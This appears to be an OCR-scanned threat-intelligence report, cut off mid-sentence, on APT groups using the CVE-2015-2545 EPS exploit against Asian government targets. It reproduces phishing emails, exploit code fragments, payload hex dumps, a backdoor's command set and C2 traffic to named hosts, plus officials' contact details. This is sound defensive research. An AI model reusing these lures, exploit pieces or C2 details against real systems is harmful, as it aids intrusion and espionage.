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CVE-2015-2545 is a vulnerability discovered in 2015 and corrected with Microsoft's update MS15-099. The vulnerability affects Microsoft
Office versions 2007 SP3, 2010 SP2, 2013 SP1 and 2013 RT SP1.

The error enables an attacker to execute arbitrary code using a specially crafted EPS image file. The exploit uses PostScript and can evade
Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) protection methods.

The exploit was discovered in the wild in August 2015, when it was used in a targeted attack by the Platinum group, presumably against
targets in India. Over the following months, there was significant growth in the number of threat actors using the vulnerability as a primary tool
for initial penetration, with both the attack groups and their targets located in South-East and Central Asia and the Far East.

In this research paper, we discuss examples of attacks using the CVE-2015-2545 vulnerability undertaken by some of these groups.

Overview of groups using CVE-2015-2545

Timeline of attacks using exploits to the CVE-2015-2545
vulnerability
In recent months a wave of cyberespionage attacks have been conducted by different groups across Asia-Pacific (APAC) and the Far East.

AlL of them share one common feature: in order to infect their victims with malware, the attackers use an exploit for the CVE-2015-2545 vulnerability.
This vulnerability was patched in November 2015, but exploits to it are still widely used due to a low level of patch-adoption
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Platinum (also known as TwoForOne)

The group is believe to originate from South-East Asia. Its attacks can be traced as far back as 2009. The group is notable for exploiting 0-day
vulnerabilities and carrying out a small number of highly focused targeted attacks — mostly against government agencies in Malaysia,
Indonesia, China and India.

This group was the first to exploit the CVE-2015-2545 vulnerability. After the vulnerability was corrected with Microsoft updates in September
and November 2015, no new Platinum attacks exploiting this vulnerability have been detected.

Microsoft presented the activity of this group at the SAS conference in February 2016, and in its paper: PLATINUM: Targeted attacks in South
and Southeast Asia.

APT16

The group has been known for several years and is believed to be of Chinese origin. In November and December 2015, it used a modified
exploit for CVE-2015-2545 in attacks against information and news agencies in Taiwan. These attacks were described in a FireEye research
paper — The EPS Awakens — Part 2 (https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html).

EvilPost

In December 2015, Kaspersky Lab became aware of a targeted attack against the Japanese defense sector. In order to infect victims, the
attacker sent an email with an attached DOCX file exploiting the CVE-2015-2545 vulnerability in Microsoft Office using an embedded EPS
(Encapsulated Postscript) object. The EPS object contained a shellcode that dropped and loaded a 32-bit or 64-bit DLL file depending on the
system architecture. This, in turn exploited another vulnerability to elevate privileges to Local System (CVE-2015-1701) and download
additional malware components from the C&C server.
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The C&C server used in the attack was located in Japan and appears to have been compromised. However, there is no indication that it has
ever been used for any other malicious purpose. Monitoring of the server activity for a period of several months did not result in any new
findings. We believe the attackers either lost access to the server or realized that it resulted in too much attention from security researchers, as
the attack was widely discussed by the Japanese security community.

According to our research partner in Japan, the original EvilPost attack in December 2015 arrived as a spear-phishing email with a Word
document attached.

This document embedded an EPS object file, which triggered a vulnerability in the EPS format handler in Microsoft Word. Even with an exploit
component, Microsoft Word rendered the document correctly and displayed the decoy message. The document is written in good Japanese,
as shown below.
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It has been used to decoy New Year impressions of defense-related organizations.

This attack was also described in the FireEye report (https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html),
mentioned above.

An overview of the activity of the EvilPost group activity was provided to subscribers of the Kaspersky Lab Threat Intelligence Service in March
2016. For information about the service, please write to intelreports@kaspersky.com.

SPIVY

In March and April 2016, a series of emails laced with an exploit forCVE-2015-2545 were detected. The emails were sent in spear-phishing
attacks, presumably targeting organizations in Hong Kong. Identifying a specific group behind these attacks is difficult because they used a
new variant of a widely available backdoor known as Poisonlvy (from which the name of the group, SPIVY, is derived). A description of these
incidents can be found in the PaloAlto blog.

Danti and SVCMONDR

These two groups have not yet been publicly described. An overview of their attacks and the tools used is provided in this report.

Map of CVE-2015-2545 exploit's use in targeted attacks
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Danti attacks

Danti (Kaspersky Lab’s internal name) is an APT actor that has been active at least since 2015, predominantly targeting Indian government
organizations. According to our telemetry, Danti has also been actively hitting targets in Kazakhstan, Kyrgyzstan, Uzbekistan, Myanmar, Nepal
and the Philippines.
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The group implemented a new campaign in February and March 2016, using a repurposed implementation of the CVE-2015-2545 exploit with
custom shellcode. In order to infect the victim, the attackers distributed spear-phishing emails with an attached DOCX file exploiting the CVE-
2015-2545 vulnerability in Microsoft Office. The exploit is based on a malformed embedded EPS (Encapsulated Postscript) object. This
contains the shellcode that drops a backdoor, providing full access to the attackers.

Main findings:

« Danti, a previously unknown group, is probably related to NetTraveller and DragonOK
¢ In February-March 2016 the group was observed using CVE-2015-2545

« It remains active, conducting attacks against Indian diplomatic organizations

» Related attacks have been observed against Central and South East Asia targets

The campaign leveraging the exploit for CVE-2015-2545 took place in February 2016. As a result, several emails with attached DOCX files
were uploaded to VirusTotal. The email recipients were connected to the Indian Ministry of External Affairs, as can be seen below:

« dsfsi@nic.in, the Foreign Service Institute, Ministry of Foreign Affairs (Under Secretary (FT/NRG), dsfsi@mea.gov.in)

o chumarpost@gmail.com, possibly related to the Chumar military post in India, a disputed area between India and China (the mail server
is the same as the Indian Ministry of Foreign Affairs- vastuXX.nic.in)

¢ chancery@indianembassy.hu, the Indian embassy in Hungary

« amb.copenhagen@mea.gov.in, the Indian Embassy in Denmark

* amb.bogota@mea.gov.in, the Indian embassy in Colombia

All these attacks took place between the 2"9 and 29" of February, 2016.

Target and date Attachment name Sender

Indian embassy in Hungary  Mission List.doc unknown (original email was forwarded)
2nd February

Indian embassy in Denmark HQ List.doc mout.gmx.com ([74.208.4.200])
2nd February

Indian embassy in Colombia HQ List.doc mout.gmx.com ([74.208.4.201])
24 February

DSFSI India’s 10 Top Luxury Hotels.doc 191.96.111.195 via mout.gmx.com ([74.208.4.201])
24™ February

Chumapost India’s 10 Top Luxury Hotels.doc 43.227.113.129 via mout.gmx.com ([74.208.4.200])
29t February

In the case of the Indian Embassy in Hungary, it looks like the original message was forwarded from the embassy to the Indian IT security
team in the Ministry of Foreign Affairs, and uploaded later to Virus Total.

Initial vector

The emails that were analysed had originally been sent via “3capp-mailcom-Ixa06.server.lan”, perhaps using a spam-mailer program. In all
known cases, the sender used the same gate at 74.208.4.200/74.208.4.201 (mout.gmx.com).

The email messages changed for different waves of the campaign. When the campaign started in February 2™, the emails carried the subject
headers “Mission List” and “HQ List”, and forged the identity of a real sender.
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From chancery <chancery@indianembassy.hu>

Subject FW: Mission list

To hoc.budapest@mea.gov.in

From: Kumar Balani [mailto:akbalani@workmail.com]
Sent: 02 February 2016 05:16

To: chancery@indianembassy.hu

Subject: Mission list

Please see the attachment and acknowledge receipt.
Regards,

Anil Kumar Balani

Sr.Director

Department of Information Technology
Electronics Niketan,6,CGO Complex
Lodhi Road,New Delhi-110003
Phone-011024364855

Mobile- +91 9872691893

b @1 attachment: Mission listdoc 314 KB

= Forward More ¥

B Followup ~

02.02.2016 23:28

‘ Save | ¥

Original message used in the first wave of attacks

As can be seen above, the original email was supposedly forwarded from Anil Kumar Balani, Director of the Department of Information

Technology at the Indian Ministry of Communications & Information Technology.

Q) PROTECTED VIEW Be caraful—files from the Intarnat can contain viruses. Unless you nesd to edt, it's safer to stay in Protacted View.

List of Missions/ Post abroad who have uploaded Annual Physical Verification Report for the.
year 2015-16:
SiNo. | Mission/ Post Name =
1. Embassy of India, Yarevan
2. | Embassy of India, Baku
3. | Embassy of India, Minsk
4. Assistant High Commission of India, Mombasa
5. | High commission of india, Lilongwe (Malawi)
6. Consulate General of India, Jaffna
7. | Embassy of India, Zagreb
8. | Consulate General of India, Guangzhou
5. | Consulate General of India, Melbourne
10. | Lison office , Embassy of India, Phuentsholing
11| Consulate General of India, Hamburg
12| Consulate General of India,
13. | Embassy of Indi H
13| Consulate General of India, Herat
15| Consulate General of India, Gautemala
16| Embassy of India, Dushanbe
17._ | Embassy of india, Durban
18. | Consulate General of India, Perth
19. | Consulate General of India, Kandahar
20| Consulate General of India, Bali
21| Embassy of India, Ankara
22. | consulate General of India, Birgun]
23| Assistant High Commission of India, Kandy
24| Consulate General of India, Milan
25. | Consulate General of India, Viadivostok
26| Embassy of India, Bishkek
27. | Consulate General of India, Istanbul

CREENS 1-20F

Enable Editing x

Consulate General of India, Mandalay
_ Assistant High Commission of India, Chittagong
| Embassy of India, Tel- Aviv
_ Embassy of India, Bratislava
| Embassy of India, Khartoum
_ High Commission of India, Kingston
_ Embassy of India, Amman
" Consulate General of India, Atlanta
Embassy of India, Ljubljana
Embassy of India, Kuwait
Consulate General of India, Shanghai
Embassy of India, Helsinki

Mission List decoy document

At the same time, attackers sent a slightly different document with the subject “HQ List” to other Indian embassies (for example, those in

Denmark and Colombia):
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From K.Nagaraj Naidu <diritp@workmail.com> 1
Subject HQ list
To amb.copenhagen@mea.gov.in’
Please see the attachment and acknowledge receipt.
Regards,
K.Nagaraj Naidu
Director

Investments & Technology Promotion Division
Ministry of External Affairs

02.02.2016 11:14

Room No:2087,Jawaharlal nehru Bhavan (Opposite National Museum)

23-D Janpath,New Delhi
Mobile: +91-8375990198

b @1 attachment: HQ listdoc 284 KB

‘ Save ¥

Original HQ List email

K.Nagaraj Naidu is Director of the Investments Technology Promotion Division in the Ministry of External Affairs, and a former Counsellor

(T&C) at the Embassy of India in China.

@EH - 1 [Compatibility Mede] - Word y S e P 4
HOME  INSERT  DESIGN  PAGELAYOUT  REFERENCES ~ MALINGS  REVIEW  VIEW GG-
ibri - <A A R T e A
Calibri 14 A A Aa- B iT-i= “ 0T pagbeend Assbecdd AaBbCi
Paste  [BIT U-sbex: X* A-%-A- [E 150 A0+ | TNormal | TNoSpac.. Heading1 - F4ng

Clipboard I~ Font Paragraph n

Report for the year 2015-16:

Sl No. Officers at Hq.

1. 1S(DPA-11) INB-2103, MEA, New Delhi

1. JS(MER) JNB_1093, MEA, New Delhi

[ AS(CT) JNB-2103, MEA, New Delhi

v, JS(EG &IT) JNB-1067, MEA, New Delhi
V. 1S(PP &R, CT &CGl, SB-161B, MEA, New
Delhi
Vi, 15 (PSP &CPO) PTH-8, MEA, New Delhi
Vi, 15(DPA-1) INB-2119, MEA, New Delhi

PAGE 10F1 70 WO ENGLISH (UNITED ST/

HQ List decoy document

Both files (“Mission List” and “HQ list”) have different decoy content, but both use the same CVE-2015-2545 EPS exploit (image1.eps, MD5

a90a329335fa0af64d8394b28e0f86¢1).

Interestingly, as can be seen in their metadata, both files were modified by the user “India” on 01.02.2016, just one day before they were sent

to targets.

Styles I

List of Entitled officers at Hgs. who have uploaded Annual Physical Verification

“HQ List” metadata “Mission List” metadata

» >
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For the attacks at the end of February, the attackers decided to use the less relevant subject header of “10 top luxury hotels in India”, sent from

an unknown sender.

File Edit View Go Message Tools Help

Q Mozilla Thunderbird

_oEN

2 GetMessages ~ # Write W@ Chat & Address Book ‘ ® Tag ~

From Udebir Shorot <udebirshorot@mail.com> 77
Subject India's 10 Top Hotels

To chumarpost@gmail.com ™’

4 Reply 4 Reply BB Followup |‘ = Forward More ¥

29.02.2016 17:16

Kindly download the enclosed attachment.

Regards.

For more informaition, refer to In Pictures: India's 10 Top Luxury Hotels,

b @1 attachment: India's 10 Top Luxury Hotels.doc 564 K&

& save "

Top Luxury Hotels spear-phishing email

This new attachment contains the same EPS exploit, but uses a different decoy document and a new payload.
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rl'en years ago, budget-minded backpackers traipsing through India in search of pampering might

have treated themselves to a meal or cup of tea in a "fancy" hotel
That couldn't happen in today's India, where fancy hotels really are fancy. It's hard to imagine
anyone entering the immaculate Four Seasons lobby in Mumbai wearing muddy Tevas and a

bulky backpack.

That's because the country, once a cheap travel destination and long associated with poverty and

strife, is now becoming famous for its luxury hotels.

Many among them belong to the Oberoi Group. Founded in 1934, the firm owns or manages 32

hotels and luxury cruisers across five countries under the Oberoi Hotels & Resorts and Trident

Hilton brands. =

PAGE 1 OF 2 636 WORD: ENGLISH (UNITED STATES)

Top 10 Luxury Hotels decoy document

The text of the document was copied from a Forbes article published in 2007. According to its metadata, the document was created in June
2015, so it has probably been used before in unknown attacks.

However, the same mail gate (mout.gmx.com) was used as for the 2nd February attacks.

d: from mout.
tull.nic.in
.lan (via

capp-mailcom-

d: from localhost by vastu52.nic.in;
016 11:01: +853

d: from mout

(via

app-mailcom-1xa@

Email header from February 24

All the “doc” files are Web Archive Files and contain decoy documents and a malicious EPS. The structure of the WAF files is the same in all
three cases:
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_NextPart_©1DOEBBS.315CD6e08
Content-Location: file:///C:/2673C892/Doc2_files/image©©?2.
Content-Transfer-Encoding: base64
Content-Type: image/eps

=_NextPart_61DeEBB5.315CD660
Content-Location: file:///C:/2673C892/Doc2_files/filelist.
Content-Transfer-Encoding: quoted-printable
Content-Type: text/xml; charset="utf-8"

<xml xmlns:o=3D"urn:schemas-microsoft-com:office:office">
<0:MainFile HRef=3D"../Doc2.htm"/>

<0:File HRef=3D"themedata.thmx"/>

<0:File HRef=3D"colorschememapping.xml"”/>

LN

<0:File HRef=3D"image@®@l.eps"/>
<0:File HRef=3D"image@®@2.eps"/>
<0:File HRef=3D"filelist.xml"/>
</xml>
=_NextPart_©1DeEBB5.315CD660- -

Web archive structure

Exploit

The attackers used at least one known 1-day exploit: the exploitforCVE-2015-2545 — EPS parsing vulnerability in EPSIMP32.FLT module,
reported by FireEye, and patched by Microsoft on 8 September 2015 with MS15-099.

We are currently aware of about four different variants of the exploit.

The original one was used in August 2015 against targets in India by the Platinum (TwoForOne) APT group.

/ImageCurve3 exch def } bind def /colortone25 { colortonee ImageCurve3 458752 getinterval

terval <C2 BC 88> search { length /offset exch def pop pop } { pop } ifelse /ImageCurve4d
blorl ImageCurve3 ImageCurve6 add2 128 add2 circle2 def /color2 ImageCurve3 ImageCurveé ad

Original EPS exploit, used in August 2015

The second (which is a modified variant of the original exploit) was used in EvilPost attacks against Japan in 2015, and then reused by
cybercriminals in March 2016. This variant was also used by the APT16 group (ELMER backdoor) in Taiwan in December 2015. The second
variant is easily recognized by the specific strings in its EPS shellcode:

The “h:\test.txt” string could have been forgotten by the exploit developer

The third variant was used in December 2015 against a Taiwanese organization, and in February 2016 against an Indian diplomatic
organization. This variant uses different shellcode but is based on the original exploit from the Platinum (TwoForOne) APT:

add2 ImageCurved4 circlel ImageCurvec 65544 add2 ImageCurvea circlel ImageCurvec 65560 add2 ImageCurvec
1 colortonee ImageCur 35 98b1183c60844 f4c3e8e8ff96999b81: b
3060982563638cb416 16074746782f156T65c218fcabllf5f8276ed575af46589F5e38964090b488F4d84ed

Can be recognized by “add2 <eb135” substring
In the third variant, the binaries with the encrypted malicious exe file and the decoy document can be found at the end of the files.

In the third variant, the binary starts with “PdPD” (50 64 50 44), a marker previously used for encrypted binaries by a number of APT groups
(Anchor Panda, Samurai Panda, Temper Panda).
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Encrypted data at the end of the eps file

The decryption function is 1-byte XOR with a key from “x00” to “xff” and replacement of the Odd byte for an Even byte in several hundred bytes
from the header.

.©8400000:

.08400010:

.08400020:

.08400030:

.08400040: : 3 ISEL=!Th
.00400850: , , is program canno
. 08400060: : : : t be run in DOS
.©8400070: mode . EI$
.08400080: 2 : 2 EHE+H)MHE)
.©8400090: 2 29 z5kL )xUBS ML )
.©840606A0: 2 : 29 7EML )KL& - LIE )3kl
.©84000B0: 2 2 2 : 29 TEVLET)iLIET) SLLY )3l
.884000eC0e: 2 : 29 7ﬂHuﬂ)muF/au Yl
.ee400e00: : p) 29 WPel] )xURichB)xL
.©B40BBED:

.©B40606F0:

Decrypted exe file

80000000 : :
©000e010: >EWEBE
00000020:

00000030 2 9
00000040 : ? 6
80000050 :
80000060 :

Decrypted decoy document

We detected a few different EPS objects in the exploit and these are analyzed below. The fourth variant of the exploit is analyzed in the “March
attack” section.

Read more about EPS objects and Payload in the Appendix.

March attack
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At the end of March 2016, we discovered a new wave of attacks by the Danti group against Indian governmental institutions. On March 28t
several malicious document were sent to various recipients at the Cabinet Secretariat of Government India from the email account of Ms.
Richa Gaharwar (<richa.gaharwar@pnic.in>), Deputy Secretary at The Department of Administrative Reforms and Public Grievances, the nodal
agency of the Government of India.

(<] Mozilla Thunderbird == n
File Edit View Go Message Tools Help

Get Messages # wiite B Chat R Address Book g =

RichaGaharwar DS <richa.gaharwar@nic.in> 4 Reply 4 Reply B Followup ~ = Forward More v
Holidays in India in 2016 28.03.2016 11:12

BO Administrator cabsec.nic.in <cabsec.nicin-admin@nic.in>.7, cabsecyc <cabsecyc@nic.in>
cabsec-cwg <cabsec-owg@Ismagr.nic.in>L7, Cabsec AoB <cabsec.aob@nic.in> 1.7,

Cabsec Telephone <cabsec telephone@nic.in> 77, Cabinet Secretariat <cabsec@nicin> 17,
eSamikSha <cabsecmis@nic.in> 1.7, Cabinet Secretariat VC <cabsecvc-support@nic.in> .7,
Network Admin <cabsec-na@nic.in> .7, System Admin <cabsec-sa@nic.in>

Holidays in India in 2016.

@ 1 attachment: Holidays in India in 2016.docx & save ~

Email sent from the account of Ms. Richa Gaharwar

The message was sent from an internal IP address using Oracle Communications Messenger. This could mean that the employee workstation
used to send the malicious emails had been fully compromised.

-IronPort-AV: E=McAfee;i="5700,7163,8117"; a="101703603"
-IronPort-AV: E=Sophos;i="5.24,464,1454956200";
d="xml'?rels’'?docx'72,48?eps'72,48?scan'72,48,208,217,72,48";a="101703603"
Received: from unknown (HELO msgfe33.nic.in) ([192.168.1.46])
by vastuSlinternal.nic.in with ESMTP; 28 Mar 2016 ©8:42:44 +0©530
Received: from nic.in ([192.168.1.46])
by msgfe33.nic.in (Oracle Communications Messaging Server 7.0.5.31.0 64bit
(built May 5 2014)) with ESMTPA id <@04Q@e5LEBL7INl1e@msgfe33.nic.in> for
cabsec-cwg@lsmgr.nic.in; Mon, 28 Mar 2016 ©8:42:43 +053@ (IST)
Sender: richa.gaharwar@nic.in
Received: from [192.168.1.46] (Forwarded-For: 10.26.122.1)
by msgfe33.nic.in (mshttpd); Sun, 27 Mar 2016 20:12:43 -8700
From: RichaGaharwar DS <richa.gaharwar@nic.in>
To: "BO Administrator cabsec.nic.in" <cabsec.nic.in-admin@nic.in>,
cabsecyc <cabsecyc@nic.in>, cabsec-cwg <cabsec-cwg@lsmgr.nic.in>,
Cabsec AoB <cabsec.aob@nic.in>,
Cabsec Telephone <cabsec.telephone@nic.in>,
Cabinet Secretariat <cabsec@nic.in>, eSamikSha <cabsecmis@nic.in>,
Cabinet Secretariat VC <cabsecvc-support@nic.in>,
Network Admin <cabsec-na@nic.in>, System Admin <cabsec-sa@nic.in>,
VC Admin <cabsec-vca@nic.in>
Message-id: <fbl7e24d63f25.56f83ebb@nic.in>
Date: Sun, 27 Mar 2016 20:12:43 -8760
-Mailer: Oracle Communications Messenger Express 7.8.5.31.0 64bit (built May
5 2014)
MIME-version: 1.8
Content-language: en
Subject: Holidays in India in 2016
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Email header

The attachment contains the file “Holidays in India in 2016.docx” with the embedded EPS exploit. This time the attackers used the second
variant of the exploit (previously used by the EvilPost and APT16 groups), with minor changes:

* They removed the part with the “h:\test.txt” strings
» Dropped the binary added at the end of the EPS object (the same as in the third variant of the exploit)

Instead of using the “PdPD” string as a marker for binary, they used a new identifier: “1111111122222222”

2e0e19ABG: - - - setfont (Hello W
2ee19ACe: - - - orld) show rest
©8019AD0 : - - - ore [F<111111112
©BO19AED: - - - 2222222M7ZP [
BBO19AFO: 3
00019860 :

@0@19B10:
@e019820: - - - p B {==!
©0019B30: - - - jBEL=IThis progra

©0019B46: - - - m cannot be run

2ee19B50: - - - in DOS mode.F$

©0019B60: - - - -=2pHll ondl

@0019870: j I—ﬂchmH

©0019B30: - - - h% cmﬂ
]

©0019B90: Laplo
Lr:ﬂ]tl

Q
Q
Q
©0019BAG: Q

©0019BBe: QNRlchﬂ1QN
©0019BCe: - - - LEE 3

New identifier used
All these changes created a new variant of the exploit, detected by very few antivirus products.

The decoy document was created on January 27, and then modified by adding the EPS exploit on March 28", right before the attack.

Holidays in India in 2016 - Word PaGora ¢ Tabauuamu

o Times New Romar ~ |16 =-i=-liEe 2 A 4 jol
KK Y-dex, x| ESE=EF I=-
BcraBute 5 e ~iellE 7 Cuam  Peaaktupoeanve
R Y- -A-Aa- (KA D AL . -
Upundp ABsau, ~
Date Weekday Holiday name Holiday type
Jan1 Friday New Year's Day Restricted Holiday
Jan 14 Thursday ‘Makar Sankranti Restricted Holiday
s e Pongal Restricted Holiday
Jan 16 Saturday Guru Goyind Singh Jayanti Restricted Holiday
Jan26  Tuesday Republic Day Gazetted Holiday
Feb& Monday Chinese New Year Observance
b ey Vasant Panchami Restricted Holiday
Feb 14 Sunday Valentine's Day Observance
Eeb19  Friday Shivaji Jayanti Restricted Holiday
Feb22  Monday Guru Rayidas Jayanti Restricted Holiday
L. sharishi Dayanand i Jayanti icted Holiday
Mar 7 Monday ‘Maha Shivaratri/Shivaratri Gazetted Holiday
Mar20  Sumday March equinox Season
Mar23  Wednesday  Holika Dabana Restricted Holiday
Mar24  Thursday Maundy Thursday Observance, Christian
Mar24  Thursday Dolyatra Restricted Holiday
Mar25  Friday Good Friday Gazetied Holiday
Mar27  Sunday Easter Day Restricted Holiday
Eprs ey Chaitra Sukhladi Restricted Holiday
Bpri3  Wednesday  Vaisakhi Restricted Holiday
Aprid  Thursday Mesady Vaisakhadi Restricted Holiday
Apr14  Thursday Ambedkar Jayanti Observance
Aprl5s Friday Rama Navami Gazetted Holiday
Apr20  Wednesday Mahayir Jayanti Gazefted Holiday
Apr21  Thursday ‘Hazarat Ali's Birthday Restricted Holiday
Apr23  Saturday First day of Passover ‘Observance
May 1 Sunday ‘May Day Observance
Mav § Sundav Mother's Dav Observance
Crpanmua1vma2  Uncno cros:452 [[% anrnuiickwi (CLLUA) B2 E B - 1 + 80%
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Decoy document

According to its metadata, the document was created and modified by Chinese users:

CeA3aHHble AaTtbl

MameneHo 26.01.2016 14:30
Co3pnaHo 26.01.2016 14:30
HaneuataHo

CBA3aHHble NONb30BaTeNn

A
arep Windows FF

NobaeuTs aBTOpa

Kem uameneHo .
junme

Decoy’s metadata

March attack — payload

The dropped file is a RarSFX archive (331307 bytes). According to comments in the archive, this was also created by a Chinese user:

m dropped.ex - SFX RAR archive, unpacked size 208 428 bytes

Name Fox ;P TEHETEFFEE B ER T

L _ Setup=PctPlayerMini.exe
appinfo.dat 41984 TempMode

< PotPlayer.dll 54 272 Silent=1

[ potPlayerMini.exe 81 448
update.dat 30724

The dropper installs four files in the system. The “Appinfo.dat” file launches “PotPlayerMini.exe”, monitors the memory periodically with the
GlobalMemoryStatus API function and writes the results to “C:windowsmemstatus.txt”

The main loader “PotPlayerMini.exe” is a legitimate multimedia player from Daum Communication. The file is signed with a legitimate signature
from “Daum Communications Corp.”
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General Advanced

ET Digital Signature Information
This digital signature is OK.

Signer information

Name: IDaum Communications Corp.

Email: INot available

Signing time: IThursday, July 10, 2014 4:22:05 AM

View Certificate

Countersighatures

Name of signer:  Email addre... Timestamp
Symantec Time ... Not available Thursday, July 10, 2014 4:22:05 ...

Details

Digital signature information

This legitimate file is used by the attackers to load a malicious, unsigned file from the same folder: PotPlayer.dll (the hardcoded PDB path
inside is “C:UsersjohnDesktopPotPlayerReleasePotPlayer.pdb”). This, in turn executes appinfo.dat (the hardcoded PDB path inside is
“D:BaiduYunDownloadServiceExeReleaseServiceExe.pdb”), which is a Yoda-compressed binary. The backdoor code is stored inside
update.dat.

The potplayer.dll “PreprocessCmdLineEx” export function:

« Creates a service named “MemoryStatus” with a path to “appinfo.dat” file and sets it to HKEY_CURRENT_USER
SoftwareMicrosoftWindowsCurrentVersionRun with the name “potplayer”.
« Opens “update.dat” file, decrypts it with xor operations and passes the execution to the result buffer.

“update.dat”, a backdoor:
Makes its first GET request to hardcoded CnC “newsupdate.dynssl.com/index.html” in order to get the new CnC in the response.

If 407 response code is returned (Proxy authentication required) then the sample sends the request again with “proxyname” string as the proxy
username and “proxypass” string as the proxy password. That suggests that may be the sample is compiled using some builder where these
parameters must be set manually and in this specific sample were not changed from default.

Finds “8FC628C9F43D42E2B77C2801518AF2A5” substring and decrypts it using AES CTR mode thrice using three 16-bytes keys.
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Makes a POST request to the new CnC with “im=validate” URL parameter and expects “success” string as the response.
Forms the following structure in order to send to CnC in POST-request after AES encryption:

o “CFB4CDE8-9285-4CC2-ACE2-CD9CCDF22C0D” string
e Local IP

e Host name

o Ox3E9 dword

e OS version

o SYSTEM_INFO structure

Decrypts the response using AES with one key.

Commands:

Lists files in directory

o Enumerates drives and their type
« Enumerates given registry key and value
o Enumerates processes

o Deletes given file

« Creates given process

* Moves or copies given file
Uploads file

Writes to file and launches it

o Enumerates services

Terminates given process

* Provides shell via cmd.exe

The malware connects to the following C2s:

* newsupdate.dynssl.com (103.61.136.120)
o dnsnews.dns05.com (118.193.12.252)

The connection:
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GET /index.html HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=8.9,*/%;q=08.8
Accept-Language: en,fr

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 5.1; Trident/4.9;
InfoPath.2)

Host: newsupdate.dynssl.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 208 OK

Content-Type: text/html

Last-Modified: Thu, 24 Mar 2816 18:44:23 GMT
Accept-Ranges: bytes

ETag: “"ceaB2a2ffdgsdil:e”

server: Microsoft-IIS/7.5

Date: Wed, 38 Mar 2816 22:19:45 GMT
Content-Length: 344

<html>

¢heads></heads>

<body>

<div
content="8FC628C9F43D42E2B77C2801518AF2A5916F596DBRCF48CCIFRCBACS73F1BRBICA53B31CFCE
ZA4BAFOFS@95B2E1935835A346EAD147D416AC289CT64C195CA4458FASCSEBAADSBBC3IELISF3178E2RBDE
48135401366E83965983B0E39F40FC323ED3AT1B3FBS2583CCA3AATACTOABCFTE476FBFBSDDES2FBCET
ODE341752409E970ARAETAIBT41A128FOBRE78" ><//div>

</body>

</html>

POST f?im=client HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=08.8
Accept-Language: en,fr

Content-Type: multipart/form-data; boundary=----------------—--—---~--——-
43B42986282174781867651691

Content-Length: 52@

User-Agent: Mozilla/4.@ (compatible; MSIE 8.8; Windows NT 5.1; Trident/4.@;
InfoPath.2)

Host: dnsnews.dns@5.com

Connection: Keep-Alive

Cache-Control: no-cache

----------------------------- 43842986282174781867651601
Content-Disposition: form-data; name="file"; filename="1logo.png"
Content-Type: application/octet-stream

..3<.."....c)¥55e3¢4a2begh.GBFOGRAL)=6<1)BGGE) EGAG)GE=GGEBEEGAE. . . . . ..
WavrmgatTego$6.

HTTP/1.1 288 OK

Connection: Close

Content-Type: text/html

Date: Thu, 31 Mar 2016 22:88:31 GMT

The two hosts are dynamic DNS subdomains, using the provider CHANGEIP DNS.

SVCMONDR: the Taiwan case

In December 2015, we uncovered another example of the type of shellcode found in the exploit for CVE-2015-2545. On 11 December, a spear-

phishing email was sent by attackers to an employee of a Taiwanese security software reseller.
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(<] [imsvaspam]sitBA#E - Mozilla Thunderbird = ==
File Edit View Go Message Tools Help

& Get Messages ~ # Wiite W Chat & Address Book ® Tag ~ =

4 Reply 4 Reply Al ¥ =b Forward More ¥
From ShEBEMIRIE <fufrank@msa.hinetnet>
Subject [imsvaspam]aRBATE 11.12.2015 9:04
To janet <janet@eranger.com.tw> L./
Dear #EI§
TIER, ERSTH EREE
M E
FEIREE William chen
FESEERS AT TFRIEMHM
Tel:886-2-2344-6541#527
Email:fu.frank@msa.hinet.net

b @1 attachment: 1-352BA#€.doc 408 KB & save |~
i

Spear-phishing email

The attachment contained a Web Archive File with “1-35%B%%.doc” and a malicious EPS file inside.

7 Google - Windows laternet Explozer

3 - (8] M e googe comtel
WEQ WHE wao soere EDNY weo

{ - [E) Mo otk commet % & [2)0mce AHIRERLHD
@ Trams o ne v mine v B W TTTTETSN -
=0 w60 o sesxe EEN] xeo WAME E: a5 UM Aues B m“.w d =) >
% & [g)Coosk MRS AD. EEG
—_— TR =
FAmR Bl SN OSIEE B munaniTAG b UNMIIEED
—— 3 - c
Sun bevs ETE
Windows Updae(l) C ATELEN)
Sun Jova THEH
WEREAN) =
050 EFERT SRRPA RS 1R
SER R ST

vahoo teolbar 32 google toolbar FF TR

“1-358 8% . doc”

This EPS (98c57aa9¢c7e3f90c4eb4afeba8128484) is exploit CVE-2015-2545 and contains an encrypted binary starting with “PdPD” (50 64 50

44), the same as seen in the Danti attacks.

The structure of the Web Archive also carries references to the same files as the Danti group (with image002.gif and “image002.eps”.)
However, the files themselves are absent from the archive.
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_NextPart_©1DOEBBS.315CD6e08
Content-Location: file:///C:/2673C892/Doc2_files/image©©?2.
Content-Transfer-Encoding: base64
Content-Type: image/eps

=_NextPart_61DeEBB5.315CD660
Content-Location: file:///C:/2673C892/Doc2_files/filelist.
Content-Transfer-Encoding: quoted-printable
Content-Type: text/xml; charset="utf-8"

<xml xmlns:o=3D"urn:schemas-microsoft-com:office:office">
<0:MainFile HRef=3D"../Doc2.htm"/>

<0:File HRef=3D"themedata.thmx"/>

<0:File HRef=3D"colorschememapping.xml"”/>

LN

<0:File HRef=3D"image@®@l.eps"/>
<0:File HRef=3D"image@®@2.eps"/>
<0:File HRef=3D"filelist.xml"/>
</xml>

=_NextPart_©1DeEBB5.315CD608- -

Part of the Web Archive

This resemblance could mean that we can attribute this case to the Danti group. However, it could also be a coincidence or yet another case of
different groups using the same malicious code. That's why we are noting this incident separately from the Danti group’s activity.

Interestingly, in the first few days of December, another group — APT16 (FireEye’s classification) also targeted Taiwan-based organizations with
a CVE-2015-2545 EPS exploit, and its emails originated from the same domain as the one sent by the SVCMONDR attackers. However, it
used another type of shellcode and a different backdoor — ELMER (https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-
part-two.html).

After opening the doc file (which is again a Web Archive File), the exploit drops and executes the Trojan program “svcmondr.exe”
(8052234dcd41a7d619acb0ec9636be0b).

This queries the registry:

“HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnectionsDefaultConnectionSettings” and
